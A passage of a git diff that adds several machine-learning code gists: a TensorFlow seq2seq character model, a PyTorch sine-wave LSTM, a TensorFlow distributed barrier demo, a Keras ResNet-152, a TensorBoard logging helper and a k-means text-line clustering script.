+((encoder_fw_outputs, encoder_bw_outputs), (encoder_fw_final_state, encoder_bw_final_state)) = tf.nn.bidirectional_dynamic_rnn(cell_fw=encoder_cell, cell_bw=encoder_cell, inputs=encoder_inputs_embedded, sequence_length=encoder_inputs_length, dtype=tf.float32, time_major=True)
+
+# Okay, short notice: I use a stacked LSTM to encode both forward information (prefixes) and backward information (suffixes)
+encoder_final_state_h = tf.concat([encoder_fw_final_state.h, encoder_fw_final_state.h], axis=1)
+encoder_final_state_c = tf.concat([encoder_fw_final_state.c, encoder_bw_final_state.c], axis=1)
+encoder_final_state = tf.contrib.rnn.LSTMStateTuple(
+    c=encoder_final_state_c,
+    h=encoder_final_state_h
+)
+
+# The decoder
+decoder_hidden_units = 2 * encoder_hidden_units
+decoder_cell = tf.nn.rnn_cell.BasicLSTMCell(decoder_hidden_units)
+encoder_max_time, batch_size = tf.unstack(tf.shape(encoder_inputs))
+# 3 is arbitrary, the point is to make the decoder longer than the encoder
+decoder_lengths = encoder_inputs_length + 3
+
+# Output projection (convert the internal state vector to character representation)
+W = tf.Variable(tf.random_uniform([decoder_hidden_units, vocab_size], -1, 1), dtype=tf.float32)
+b = tf.Variable(tf.zeros([vocab_size]), dtype=tf.float32)
+
+# A quick sanity check
+assert vocab['EOW'] == 1 and vocab['PAD'] == 0 and vocab['UNK'] == 2
+
+# Setup the input for the decoder
+eow_time_slice = tf.ones([batch_size], dtype=tf.int32, name='EOW')
+pad_time_slice = tf.zeros([batch_size], dtype=tf.int32, name='PAD')
+
+eow_step_embedded = tf.nn.embedding_lookup(embeddings, eow_time_slice)
+pad_step_embedded = tf.nn.embedding_lookup(embeddings, pad_time_slice)
+
+# We create the decoder RNN ourselves and add soft-attention to it
+# By defining the behaviour of an RNN cell, an initializer and transition function need to be specified
+
+def loop_fn_initial():
+    initial_elements_finished = (0 >= decoder_lengths)
+    initial_input = eow_step_embedded
+    initial_cell_state = encoder_final_state
+    initial_cell_output = None
+    initial_loop_state = None
+    return (initial_elements_finished,
+           initial_input,
+           initial_cell_state,
+           initial_cell_output,
+           initial_loop_state)
+
+def loop_fn_transition(time, previous_output, previous_state, previous_loop_state):
+    # soft attention: trivial form of attention
+    
+    def get_next_input():
+        output_logits = tf.add(tf.matmul(previous_output, W), b)
+        # THIS IS ATTENTION (the "picking" step is attention: choose what to devote attention to)
+        prediction = tf.argmax(output_logits, axis=1)
+        next_input = tf.nn.embedding_lookup(embeddings, prediction)
+        return next_input
+    
+    elements_finished = (time >= decoder_lengths)
+    
+    finished = tf.reduce_all(elements_finished)
+    input = tf.cond(finished, lambda: pad_step_embedded, get_next_input)
+    
+    state = previous_state
+    output = previous_output
+    loop_state = None
+    
+    return (elements_finished, input, state, output, loop_state)
+
+# Now we combine both the initializer and transition function
+def loop_fn(time, previous_output, previous_state, previous_loop_state):
+    if previous_state is None:
+        assert previous_output is None and previous_state is None
+        return loop_fn_initial()
+    else:
+        return loop_fn_transition(time, previous_output, previous_state, previous_loop_state)
+    
+# We can now create the decoder RNN
+decoder_outputs_ta, decoder_final_state, _ = tf.nn.raw_rnn(decoder_cell, loop_fn)
+decoder_outputs = decoder_outputs_ta.stack()
+
+# Now we convert the state vectors to a human-readable representation using the weights (W) and biases (b) defined earlier
+decoder_max_steps, decoder_batch_size, decoder_dim = tf.unstack(tf.shape(decoder_outputs))
+decoder_outputs_flat = tf.reshape(decoder_outputs, (-1, decoder_dim))
+decoder_logits_flat = tf.add(tf.matmul(decoder_outputs_flat, W), b)
+decoder_logits = tf.reshape(decoder_logits_flat, (decoder_max_steps, decoder_batch_size, vocab_size))
+
+# And using this greedy approach, we select the most likely character:
+decoder_prediction = tf.argmax(decoder_logits, 2)
+
+# Now we can define the loss and create an optimizer
+stepwise_cross_entropy = tf.nn.softmax_cross_entropy_with_logits(
+    labels=tf.one_hot(decoder_targets, depth=vocab_size, dtype=tf.float32),
+    logits=decoder_logits,
+)
+
+loss = tf.reduce_mean(stepwise_cross_entropy)
+train_op = tf.train.AdamOptimizer().minimize(loss)
+
+# Setup the session
+sess = tf.InteractiveSession()
+sess.run(tf.global_variables_initializer())
+
+# A helper function for creating batches of data
+def create_batch(inputs, max_sequence_length=None):
+    """
+    Args:
+        inputs:
+            list of sentences (integer lists)
+        max_sequence_length:
+            integer specifying how large should `max_time` dimension be.
+            If None, maximum sequence length would be used
+    
+    Outputs:
+        inputs_time_major:
+            input sentences transformed into time-major matrix 
+            (shape [max_time, batch_size]) padded with 0s
+        sequence_lengths:
+            batch-sized list of integers specifying amount of active 
+            time steps in each input sequence
+    """
+    
+    sequence_lengths = [len(seq) for seq in inputs]
+    batch_size = len(inputs)
+    
+    if max_sequence_length is None:
+        max_sequence_length = max(sequence_lengths)
+    
+    inputs_batch_major = np.zeros(shape=[batch_size, max_sequence_length], dtype=np.int32) # == PAD
+    
+    for i, seq in enumerate(inputs):
+        for j, element in enumerate(seq):
+            inputs_batch_major[i, j] = element
+
+    # [batch_size, max_time] -> [max_time, batch_size]
+    inputs_time_major = inputs_batch_major.swapaxes(0, 1)
+
+    return inputs_time_major, sequence_lengths
+    
+# A helper function to convert characters to ids
+def word_to_ids(word):
+    return [vocab.get(c, vocab['UNK']) for c in word]
+
+# And a helper function to generate a feed dict which converts the data such that it can be fed into the network
+def get_feed_dict(words, lengths=None):
+    encoder_inputs_, encoder_input_lengths_ = create_batch([word_to_ids(seq) for seq in words])
+    decoder_targets_, _ = create_batch([word_to_ids(seq) + [vocab['EOW']] + [vocab['PAD']] * 2 for seq in words])
+    if lengths is not None:
+        encoder_input_lengths = lengths
+    
+    return {
+        encoder_inputs: encoder_inputs_,
+        encoder_inputs_length: encoder_input_lengths_,
+        decoder_targets: decoder_targets_
+    }
+    
+# Now we can train!
+batch_size = 10
+batches_in_epoch = 100
+print(len(words) // batch_size)
+vocab_inv = {index: word for word, index in vocab.items()}
+for repeats in range(3):
+    for batch in range(0, len(words) // batch_size):
+        i = batch * batch_size
+        j = (batch + 1) * batch_size
+        fd = get_feed_dict(words[i:j])
+        _, l = sess.run([train_op, loss], fd)
+        if batch == 0 or batch % batches_in_epoch == 0:
+            print('batch {}'.format(batch))
+            print('  minibatch loss: {}'.format(sess.run(loss, fd)))
+            predict_ = sess.run(decoder_prediction, fd)
+            for i, (inp, pred) in enumerate(zip(fd[encoder_inputs].T, predict_.T)):
+                inp_txt = ''.join([vocab_inv.get(item, '?') for item in inp if item >= 3])
+                pred_txt = ''.join([vocab_inv.get(item, '?') for item in pred if item >= 3])
+                print('  sample {}:'.format(i + 1))
+                print('    input         > {}'.format(inp))
+                print('    predicted     > {}'.format(pred))
+                print('    input_txt     > {}'.format(inp_txt))
+                print('    predicted_txt > {}'.format(pred_txt))
+                if i >= 2:
+                    break
+            print()
\ No newline at end of file
diff --git a/hard-gists/ef26915065225df65c1187562eca7ec4/._snippet.py b/hard-gists/ef26915065225df65c1187562eca7ec4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef26915065225df65c1187562eca7ec4/._snippet.py differ
diff --git a/hard-gists/ef26915065225df65c1187562eca7ec4/snippet.py b/hard-gists/ef26915065225df65c1187562eca7ec4/snippet.py
new file mode 100644
index 00000000..a232ab27
--- /dev/null
+++ b/hard-gists/ef26915065225df65c1187562eca7ec4/snippet.py
@@ -0,0 +1,104 @@
+import torch
+import torch.nn as nn
+from torch.nn import functional as F
+from torch.autograd import Variable
+from torch import optim
+import numpy as np
+import math, random
+
+# Generating a noisy multi-sin wave 
+
+def sine_2(X, signal_freq=60.):
+    return (np.sin(2 * np.pi * (X) / signal_freq) + np.sin(4 * np.pi * (X) / signal_freq)) / 2.0
+
+def noisy(Y, noise_range=(-0.05, 0.05)):
+    noise = np.random.uniform(noise_range[0], noise_range[1], size=Y.shape)
+    return Y + noise
+
+def sample(sample_size):
+    random_offset = random.randint(0, sample_size)
+    X = np.arange(sample_size)
+    Y = noisy(sine_2(X + random_offset))
+    return Y
+
+# Define the model
+
+class SimpleRNN(nn.Module):
+    def __init__(self, hidden_size):
+        super(SimpleRNN, self).__init__()
+        self.hidden_size = hidden_size
+
+        self.inp = nn.Linear(1, hidden_size)
+        self.rnn = nn.LSTM(hidden_size, hidden_size, 2, dropout=0.05)
+        self.out = nn.Linear(hidden_size, 1)
+
+    def step(self, input, hidden=None):
+        input = self.inp(input.view(1, -1)).unsqueeze(1)
+        output, hidden = self.rnn(input, hidden)
+        output = self.out(output.squeeze(1))
+        return output, hidden
+
+    def forward(self, inputs, hidden=None, force=True, steps=0):
+        if force or steps == 0: steps = len(inputs)
+        outputs = Variable(torch.zeros(steps, 1, 1))
+        for i in range(steps):
+            if force or i == 0:
+                input = inputs[i]
+            else:
+                input = output
+            output, hidden = self.step(input, hidden)
+            outputs[i] = output
+        return outputs, hidden
+
+n_epochs = 100
+n_iters = 50
+hidden_size = 10
+
+model = SimpleRNN(hidden_size)
+criterion = nn.MSELoss()
+optimizer = optim.SGD(model.parameters(), lr=0.01)
+
+losses = np.zeros(n_epochs) # For plotting
+
+for epoch in range(n_epochs):
+
+    for iter in range(n_iters):
+        _inputs = sample(50)
+        inputs = Variable(torch.from_numpy(_inputs[:-1]).float())
+        targets = Variable(torch.from_numpy(_inputs[1:]).float())
+
+        # Use teacher forcing 50% of the time
+        force = random.random() < 0.5
+        outputs, hidden = model(inputs, None, force)
+
+        optimizer.zero_grad()
+        loss = criterion(outputs, targets)
+        loss.backward()
+        optimizer.step()
+
+        losses[epoch] += loss.data[0]
+
+    if epoch > 0:
+        print(epoch, loss.data[0])
+
+    # Use some plotting library
+    # if epoch % 10 == 0:
+        # show_plot('inputs', _inputs, True)
+        # show_plot('outputs', outputs.data.view(-1), True)
+        # show_plot('losses', losses[:epoch] / n_iters)
+
+        # Generate a test
+        # outputs, hidden = model(inputs, False, 50)
+        # show_plot('generated', outputs.data.view(-1), True)
+
+# Online training
+hidden = None
+
+while True:
+    inputs = get_latest_sample()
+    outputs, hidden = model(inputs, hidden)
+
+    optimizer.zero_grad()
+    loss = criterion(outputs, inputs)
+    loss.backward()
+    optimizer.step()
\ No newline at end of file
diff --git a/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/._snippet.py b/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/._snippet.py differ
diff --git a/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/snippet.py b/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/snippet.py
new file mode 100644
index 00000000..9afab0ef
--- /dev/null
+++ b/hard-gists/ef407a599f0f549f62d91c3a00dcfb6c/snippet.py
@@ -0,0 +1,171 @@
+"""Example of barrier implementation using TensorFlow shared variables.
+
+All workers synchronize on barrier, copy global parameters to local versions
+and increment global parameter variable asynchronously. Should see something
+like this:
+
+bash> killall python
+bash> python simple_barrier.py --num_workers=4
+worker  0, local_param  4 global_param  5
+worker  2, local_param  4 global_param  7
+worker  1, local_param  4 global_param  7
+worker  3, local_param  4 global_param  8
+worker  3, local_param  8 global_param 10
+worker  2, local_param  8 global_param 11
+"""
+
+import numpy as np
+import subprocess
+import sys
+import tensorflow as tf
+import threading
+import time
+
+flags = tf.flags
+flags.DEFINE_integer("iters", 10, "Maximum number of steps")
+flags.DEFINE_integer("starting_port", "12222", "port of first worker")
+flags.DEFINE_integer("num_workers", 4, "number of workers")
+flags.DEFINE_integer("task", -1, "internal use")
+flags.DEFINE_float("sleep_interval", 0.1, "how long to sleep in wait loop")
+FLAGS = flags.FLAGS
+
+# setup local cluster from flags
+host = "127.0.0.1:"
+s = FLAGS.starting_port
+N = FLAGS.num_workers
+cluster = {"worker": [host+str(port) for port in range(s, s+N)]}
+clusterspec = tf.train.ClusterSpec(cluster).as_cluster_def()
+
+# global ops
+init_op = None
+train_ops = []       # worker local train ops, read local params, update global
+counter_vars = []    # counters for barrier
+counter_adder_ops = []
+global_param_var = None
+local_param_vars = []
+local_param_sync_ops = []
+
+def default_config():
+  optimizer_options = tf.OptimizerOptions(opt_level=tf.OptimizerOptions.L0)
+  config = tf.ConfigProto(
+    graph_options=tf.GraphOptions(optimizer_options=optimizer_options))
+  config.log_device_placement = False
+  config.allow_soft_placement = False
+  return config
+
+def create_graph(devices):
+  """Create graph that keeps global params + counters on devices[0] and
+  local params/train ops on devices[:]"""
+
+  global train_ops, counter_vars, counter_adder_ops, global_param_var, local_param_vars, local_param_sync_ops
+
+  dtype=tf.int32
+
+  with tf.device(devices[0]):
+    global_param_var = tf.get_variable("param", shape=(), dtype=dtype,
+                                       initializer=tf.zeros_initializer)
+    for i in range(2):
+      counter_var = tf.get_variable("counter-"+str(i), (), tf.int32,
+                                    initializer=tf.zeros_initializer)
+      counter_vars.append(counter_var)
+      counter_adder_ops.append(counter_var.assign_add(1, use_locking=True))
+
+  # create local version of parameters
+  for (i, device) in enumerate(devices):
+    with tf.device(device):
+      local_param_var = tf.get_variable("local_param-"+str(i), (), dtype,
+                                        initializer=tf.zeros_initializer)
+      local_param_vars.append(local_param_var)
+      
+      local_param_sync_op = local_param_var.assign(global_param_var)
+      local_param_sync_ops.append(local_param_sync_op)
+      train_op = global_param_var.assign_add(1)
+      train_ops.append(train_op)
+
+      
+  init_op = tf.initialize_all_variables()
+  return (init_op, train_ops)
+
+
+def create_worker_threads(sess):
+  """Creates a thread for each op in ops, running it iters times."""
+
+  def barrier():
+    sess.run(counter_adder_ops[0])
+    while sess.run(counter_vars[0]) % N != 0:
+      time.sleep(FLAGS.sleep_interval)
+    sess.run(counter_adder_ops[1])
+    while sess.run(counter_vars[1]) % N != 0:
+      time.sleep(FLAGS.sleep_interval)
+    
+  def create_run_method(worker_id):
+    def _run():
+      local_param_var = local_param_vars[worker_id]
+      sync_op = local_param_sync_ops[worker_id]
+      train_op = train_ops[worker_id]
+      for i in range(FLAGS.iters):
+        barrier()
+        sess.run(sync_op)
+        barrier()
+        old_val, updated_val = sess.run([local_param_var, train_op])
+        print("worker %2d, local_param %2d global_param %2d" %(worker_id,
+                                                               old_val,
+                                                               updated_val))
+    return _run
+
+  return [threading.Thread(target=create_run_method(i))
+          for i in range(N)]
+
+
+def wait_for_threads_to_finish(threads):
+  while any(t.is_alive() for t in threads):
+    time.sleep(FLAGS.sleep_interval)
+
+
+def launch_workers():
+  """Launch processes running TensorFlow servers."""
+  
+  def runcmd(cmd): subprocess.Popen(cmd, shell=True, stderr=subprocess.STDOUT)
+  for i in range(N):
+    cmd = "python simple_barrier.py --task="+str(i)
+    print("Executing "+cmd)
+    runcmd(cmd)
+
+def run_worker(task=-1):
+  print("Worker %d entering server loop" %(task))
+  server = tf.train.Server(clusterspec, config=default_config(),
+                           job_name="worker",
+                           task_index=FLAGS.task)
+  server.join()
+
+def run_client():
+  tasks = ["/job:worker/task:%d"%(i) for i in range(FLAGS.num_workers)]
+
+  (init_op, add_ops) = create_graph(tasks)
+  
+  # launch distributed service
+  print("launching workers")
+  launch_workers()
+
+  # reset containers of first worker (it stores shared state)
+  worker_ip = host+str(FLAGS.starting_port)
+
+  # need tf.Session.reset if there are worker servers launched from before
+  # However, tf.Session.reset can hang if workers are in process of being
+  # brought up, hence more robust to do killall python
+  #  tf.Session.reset("grpc://" + worker_ip)
+  print("Creating session")
+  sess = tf.Session("grpc://"+ worker_ip,
+                    config=default_config())
+  sess.run(init_op)
+  
+  worker_threads = create_worker_threads(sess)
+  [t.start() for t in worker_threads]
+  wait_for_threads_to_finish(worker_threads)
+
+if __name__=='__main__':
+  if FLAGS.task == -1:
+    # client launches worker processes and issues .run calls
+    run_client()
+  else:
+    run_worker(FLAGS.task)
diff --git a/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/._snippet.py b/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/._snippet.py differ
diff --git a/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/snippet.py b/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/snippet.py
new file mode 100644
index 00000000..c605f5c4
--- /dev/null
+++ b/hard-gists/ef4fc7fb905be7191cc2beb1421da37c/snippet.py
@@ -0,0 +1,238 @@
+# -*- coding: utf-8 -*-
+
+import cv2
+import numpy as np
+import copy
+
+from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Flatten, Activation, add
+from keras.optimizers import SGD
+from keras.layers.normalization import BatchNormalization
+from keras.models import Model
+from keras import initializers
+from keras.engine import Layer, InputSpec
+from keras import backend as K
+
+import sys
+sys.setrecursionlimit(3000)
+
+class Scale(Layer):
+    '''Custom Layer for ResNet used for BatchNormalization.
+    
+    Learns a set of weights and biases used for scaling the input data.
+    the output consists simply in an element-wise multiplication of the input
+    and a sum of a set of constants:
+
+        out = in * gamma + beta,
+
+    where 'gamma' and 'beta' are the weights and biases larned.
+
+    # Arguments
+        axis: integer, axis along which to normalize in mode 0. For instance,
+            if your input tensor has shape (samples, channels, rows, cols),
+            set axis to 1 to normalize per feature map (channels axis).
+        momentum: momentum in the computation of the
+            exponential average of the mean and standard deviation
+            of the data, for feature-wise normalization.
+        weights: Initialization weights.
+            List of 2 Numpy arrays, with shapes:
+            `[(input_shape,), (input_shape,)]`
+        beta_init: name of initialization function for shift parameter
+            (see [initializers](../initializers.md)), or alternatively,
+            Theano/TensorFlow function to use for weights initialization.
+            This parameter is only relevant if you don't pass a `weights` argument.
+        gamma_init: name of initialization function for scale parameter (see
+            [initializers](../initializers.md)), or alternatively,
+            Theano/TensorFlow function to use for weights initialization.
+            This parameter is only relevant if you don't pass a `weights` argument.
+    '''
+    def __init__(self, weights=None, axis=-1, momentum = 0.9, beta_init='zero', gamma_init='one', **kwargs):
+        self.momentum = momentum
+        self.axis = axis
+        self.beta_init = initializers.get(beta_init)
+        self.gamma_init = initializers.get(gamma_init)
+        self.initial_weights = weights
+        super(Scale, self).__init__(**kwargs)
+
+    def build(self, input_shape):
+        self.input_spec = [InputSpec(shape=input_shape)]
+        shape = (int(input_shape[self.axis]),)
+
+        self.gamma = K.variable(self.gamma_init(shape), name='%s_gamma'%self.name)
+        self.beta = K.variable(self.beta_init(shape), name='%s_beta'%self.name)
+        self.trainable_weights = [self.gamma, self.beta]
+
+        if self.initial_weights is not None:
+            self.set_weights(self.initial_weights)
+            del self.initial_weights
+
+    def call(self, x, mask=None):
+        input_shape = self.input_spec[0].shape
+        broadcast_shape = [1] * len(input_shape)
+        broadcast_shape[self.axis] = input_shape[self.axis]
+
+        out = K.reshape(self.gamma, broadcast_shape) * x + K.reshape(self.beta, broadcast_shape)
+        return out
+
+    def get_config(self):
+        config = {"momentum": self.momentum, "axis": self.axis}
+        base_config = super(Scale, self).get_config()
+        return dict(list(base_config.items()) + list(config.items()))
+
+def identity_block(input_tensor, kernel_size, filters, stage, block):
+    '''The identity_block is the block that has no conv layer at shortcut
+    # Arguments
+        input_tensor: input tensor
+        kernel_size: defualt 3, the kernel size of middle conv layer at main path
+        filters: list of integers, the nb_filters of 3 conv layer at main path
+        stage: integer, current stage label, used for generating layer names
+        block: 'a','b'..., current block label, used for generating layer names
+    '''
+    eps = 1.1e-5
+    nb_filter1, nb_filter2, nb_filter3 = filters
+    conv_name_base = 'res' + str(stage) + block + '_branch'
+    bn_name_base = 'bn' + str(stage) + block + '_branch'
+    scale_name_base = 'scale' + str(stage) + block + '_branch'
+
+    x = Conv2D(nb_filter1, (1, 1), name=conv_name_base + '2a', use_bias=False)(input_tensor)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2a')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2a')(x)
+    x = Activation('relu', name=conv_name_base + '2a_relu')(x)
+
+    x = ZeroPadding2D((1, 1), name=conv_name_base + '2b_zeropadding')(x)
+    x = Conv2D(nb_filter2, (kernel_size, kernel_size), name=conv_name_base + '2b', use_bias=False)(x)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2b')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2b')(x)
+    x = Activation('relu', name=conv_name_base + '2b_relu')(x)
+
+    x = Conv2D(nb_filter3, (1, 1), name=conv_name_base + '2c', use_bias=False)(x)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2c')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2c')(x)
+
+    x = add([x, input_tensor], name='res' + str(stage) + block)
+    x = Activation('relu', name='res' + str(stage) + block + '_relu')(x)
+    return x
+
+def conv_block(input_tensor, kernel_size, filters, stage, block, strides=(2, 2)):
+    '''conv_block is the block that has a conv layer at shortcut
+    # Arguments
+        input_tensor: input tensor
+        kernel_size: defualt 3, the kernel size of middle conv layer at main path
+        filters: list of integers, the nb_filters of 3 conv layer at main path
+        stage: integer, current stage label, used for generating layer names
+        block: 'a','b'..., current block label, used for generating layer names
+    Note that from stage 3, the first conv layer at main path is with subsample=(2,2)
+    And the shortcut should have subsample=(2,2) as well
+    '''
+    eps = 1.1e-5
+    nb_filter1, nb_filter2, nb_filter3 = filters
+    conv_name_base = 'res' + str(stage) + block + '_branch'
+    bn_name_base = 'bn' + str(stage) + block + '_branch'
+    scale_name_base = 'scale' + str(stage) + block + '_branch'
+
+    x = Conv2D(nb_filter1, (1, 1), strides=strides, name=conv_name_base + '2a', use_bias=False)(input_tensor)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2a')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2a')(x)
+    x = Activation('relu', name=conv_name_base + '2a_relu')(x)
+
+    x = ZeroPadding2D((1, 1), name=conv_name_base + '2b_zeropadding')(x)
+    x = Conv2D(nb_filter2, (kernel_size, kernel_size),
+                      name=conv_name_base + '2b', use_bias=False)(x)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2b')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2b')(x)
+    x = Activation('relu', name=conv_name_base + '2b_relu')(x)
+
+    x = Conv2D(nb_filter3, (1, 1), name=conv_name_base + '2c', use_bias=False)(x)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '2c')(x)
+    x = Scale(axis=bn_axis, name=scale_name_base + '2c')(x)
+
+    shortcut = Conv2D(nb_filter3, (1, 1), strides=strides,
+                             name=conv_name_base + '1', use_bias=False)(input_tensor)
+    shortcut = BatchNormalization(epsilon=eps, axis=bn_axis, name=bn_name_base + '1')(shortcut)
+    shortcut = Scale(axis=bn_axis, name=scale_name_base + '1')(shortcut)
+
+    x = add([x, shortcut], name='res' + str(stage) + block)
+    x = Activation('relu', name='res' + str(stage) + block + '_relu')(x)
+    return x
+
+def resnet152_model(weights_path=None):
+    '''Instantiate the ResNet152 architecture,
+    # Arguments
+        weights_path: path to pretrained weight file
+    # Returns
+        A Keras model instance.
+    '''
+    eps = 1.1e-5
+
+    # Handle Dimension Ordering for different backends
+    global bn_axis
+    if K.image_dim_ordering() == 'tf':
+        bn_axis = 3
+        img_input = Input(shape=(224, 224, 3), name='data')
+    else:
+        bn_axis = 1
+        img_input = Input(shape=(3, 224, 224), name='data')
+            
+    x = ZeroPadding2D((3, 3), name='conv1_zeropadding')(img_input)
+    x = Conv2D(64, (7, 7), strides=(2, 2), name='conv1', use_bias=False)(x)
+    x = BatchNormalization(epsilon=eps, axis=bn_axis, name='bn_conv1')(x)
+    x = Scale(axis=bn_axis, name='scale_conv1')(x)
+    x = Activation('relu', name='conv1_relu')(x)
+    x = MaxPooling2D((3, 3), strides=(2, 2), name='pool1')(x)
+
+    x = conv_block(x, 3, [64, 64, 256], stage=2, block='a', strides=(1, 1))
+    x = identity_block(x, 3, [64, 64, 256], stage=2, block='b')
+    x = identity_block(x, 3, [64, 64, 256], stage=2, block='c')
+
+    x = conv_block(x, 3, [128, 128, 512], stage=3, block='a')
+    for i in range(1,8):
+        x = identity_block(x, 3, [128, 128, 512], stage=3, block='b'+str(i))
+
+    x = conv_block(x, 3, [256, 256, 1024], stage=4, block='a')
+    for i in range(1,36):
+        x = identity_block(x, 3, [256, 256, 1024], stage=4, block='b'+str(i))
+
+    x = conv_block(x, 3, [512, 512, 2048], stage=5, block='a')
+    x = identity_block(x, 3, [512, 512, 2048], stage=5, block='b')
+    x = identity_block(x, 3, [512, 512, 2048], stage=5, block='c')
+
+    x_fc = AveragePooling2D((7, 7), name='avg_pool')(x)
+    x_fc = Flatten()(x_fc)
+    x_fc = Dense(1000, activation='softmax', name='fc1000')(x_fc)
+
+    model = Model(img_input, x_fc)
+    
+    # load weights
+    if weights_path:
+        model.load_weights(weights_path, by_name=True)
+
+    return model
+
+if __name__ == '__main__':
+
+    im = cv2.resize(cv2.imread('cat.jpg'), (224, 224)).astype(np.float32)
+
+    # Remove train image mean
+    im[:,:,0] -= 103.939
+    im[:,:,1] -= 116.779
+    im[:,:,2] -= 123.68
+
+    if K.image_dim_ordering() == 'th':
+        # Transpose image dimensions (Theano uses the channels as the 1st dimension)
+        im = im.transpose((2,0,1))
+
+        # Use pre-trained weights for Theano backend
+        weights_path = 'resnet152_weights_th.h5'
+    else:
+        # Use pre-trained weights for Tensorflow backend
+        weights_path = 'resnet152_weights_tf.h5'
+
+    # Insert a new dimension for the batch_size
+    im = np.expand_dims(im, axis=0)
+
+    # Test pretrained model
+    model = resnet152_model(weights_path)
+    sgd = SGD(lr=1e-2, decay=1e-6, momentum=0.9, nesterov=True)
+    model.compile(optimizer=sgd, loss='categorical_crossentropy', metrics=['accuracy'])
+
+    preds = model.predict(im)
+    print(np.argmax(preds))
diff --git a/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/._snippet.py b/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/._snippet.py differ
diff --git a/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/snippet.py b/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/snippet.py
new file mode 100644
index 00000000..695e3793
--- /dev/null
+++ b/hard-gists/ef6caa586b647c3c032a4f84d52e3a11/snippet.py
@@ -0,0 +1,36 @@
+import numpy as np
+import tensorflow as tf
+from keras.callbacks import TensorBoard
+from keras.layers import Input, Dense
+from keras.models import Model
+
+
+def write_log(callback, names, logs, batch_no):
+    for name, value in zip(names, logs):
+        summary = tf.Summary()
+        summary_value = summary.value.add()
+        summary_value.simple_value = value
+        summary_value.tag = name
+        callback.writer.add_summary(summary, batch_no)
+        callback.writer.flush()
+    
+net_in = Input(shape=(3,))
+net_out = Dense(1)(net_in)
+model = Model(net_in, net_out)
+model.compile(loss='mse', optimizer='sgd', metrics=['mae'])
+
+log_path = './logs'
+callback = TensorBoard(log_path)
+callback.set_model(model)
+train_names = ['train_loss', 'train_mae']
+val_names = ['val_loss', 'val_mae']
+for batch_no in range(100):
+    X_train, Y_train = np.random.rand(32, 3), np.random.rand(32, 1)
+    logs = model.train_on_batch(X_train, Y_train)
+    write_log(callback, train_names, logs, batch_no)
+    
+    if batch_no % 10 == 0:
+        X_val, Y_val = np.random.rand(32, 3), np.random.rand(32, 1)
+        logs = model.train_on_batch(X_val, Y_val)
+        write_log(callback, val_names, logs, batch_no//10)
+
diff --git a/hard-gists/ef7ed11b0abab37c94ad/._snippet.py b/hard-gists/ef7ed11b0abab37c94ad/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef7ed11b0abab37c94ad/._snippet.py differ
diff --git a/hard-gists/ef7ed11b0abab37c94ad/snippet.py b/hard-gists/ef7ed11b0abab37c94ad/snippet.py
new file mode 100644
index 00000000..b7936af4
--- /dev/null
+++ b/hard-gists/ef7ed11b0abab37c94ad/snippet.py
@@ -0,0 +1,67 @@
+"""
+Groups (clusters) similar lines together from a text file
+using k-means clustering algorithm.
+
+Also does some simple cleaning (such as removing white space and replacing numbers with (N)).
+
+Example:
+
+    python cluster_lines.py --clusters 20 invalid_dates.txt
+
+Required libs:
+
+    click
+    sklearn
+"""
+
+import click
+import re
+import numpy
+import random
+
+from collections import defaultdict
+
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.cluster import KMeans
+
+
+@click.command()
+@click.argument('filename')
+@click.option('--clusters', default=10, help='Number of clusters')
+@click.option('--sample', default=10, help='Number of samples to print')
+def cluster_lines(filename, clusters, sample):
+    lines = numpy.array(list(_get_lines(filename)))
+
+    doc_feat = TfidfVectorizer().fit_transform(lines)
+    km = KMeans(clusters).fit(doc_feat)
+
+    k = 0
+    clusters = defaultdict(list)
+    for i in km.labels_:
+      clusters[i].append(lines[k])
+      k += 1
+
+    s_clusters = sorted(clusters.values(), key=lambda l: -len(l))
+
+    for cluster in s_clusters:
+        print 'Cluster [%s]:' % len(cluster)
+        if len(cluster) > sample:
+            cluster = random.sample(cluster, sample)
+        for line in cluster:
+            print line
+        print '--------'
+
+
+def _clean_line(line):
+    line = line.strip().lower()
+    line = re.sub('\d+', '(N)', line)
+    return line
+
+
+def _get_lines(filename):
+    for line in open(filename).readlines():
+        yield _clean_line(line)
+
+
+if __name__ == '__main__':
+    cluster_lines()
\ No newline at end of file
diff --git a/hard-gists/ef9e5c352e54769c4d43/._snippet.py b/hard-gists/ef9e5c352e54769c4d43/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ef9e5c352e54769c4d43/._snippet.py differ
